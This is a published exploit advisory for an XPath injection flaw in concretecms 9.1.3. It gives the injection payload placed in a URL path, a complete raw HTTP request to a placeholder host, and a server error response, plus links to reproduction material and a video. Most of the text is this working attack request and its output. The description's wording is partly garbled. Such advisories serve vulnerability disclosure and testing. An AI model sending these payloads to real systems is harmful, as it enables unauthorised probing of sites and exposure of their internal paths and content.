Exploit/Advisories

## Title: concretecms-9.1.3 Xpath injection
## Author: nu11secur1ty
## Date: 11.28.2022
## Vendor: https://www.concretecms.org/
## Software: https://www.concretecms.org/download
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/concretecms.org/2022/concretecms-9.1.3

## Description:
The URL path folder `3` appears to be vulnerable to XPath injection attacks.
The test payload 50539478' or 4591=4591-- was submitted in the URL
path folder `3`, and an XPath error message was returned.
The attacker can flood with requests the system by using this
vulnerability to untilted he receives the actual paths of the all
content of this system which content is stored on some internal or
external server.

## STATUS: HIGH Vulnerability

[+] Exploits:
00:
```GET
GET /concrete-cms-9.1.3/index.php/ccm50539478'%20or%204591%3d4591--%20/assets/localization/moment/js
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
```

[+] Response:

```HTTP
HTTP/1.1 500 Internal Server Error
Date: Mon, 28 Nov 2022 15:32:22 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 592153

text-rendering: optimizeLegibility;
}
a {
text-decoration: none;
}

.Whoops.container {
position: relative;
z-index: 9999999999;
}

.panel {
overflow-y: scroll;
height: 100%;
position: fixed;
margin: 0;
left: 0;
top: 0;
}

.branding {
position: absolute;
top: 10px;
right: 20px;
color: #777777;
font-size: 10px;
z-index: 100;
}
.branding a {
color: #e95353;
}

header {
color: white;
box-sizing: border-box;
background-color: #2a2a2a;
padding: 35px 40px;
max-height: 180px;
overflow: hidden;
transition: 0.5s;
}

header.header-expand {
max-height: 1000px;
}

.exc-title {
margin: 0;
color: #bebebe;
font-size: 14px;
}
.exc-title-primary, .exc-title-secondary {
color: #e95353;
}

.exc-message {
font-size: 20px;
word-wrap: break-word;
margin: 4px 0 0 0;
color: white;
}
.exc-message span {
display: block;
}
.exc-message-empty-notice {
color: #a29d9d;
font-weight: 300;
}

.......

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/concretecms.org/2022/concretecms-9.1.3)

## Proof and Exploit:
[href](https://streamable.com/4f60ka)

## Time spent
`03:00:00`

Comments are closed.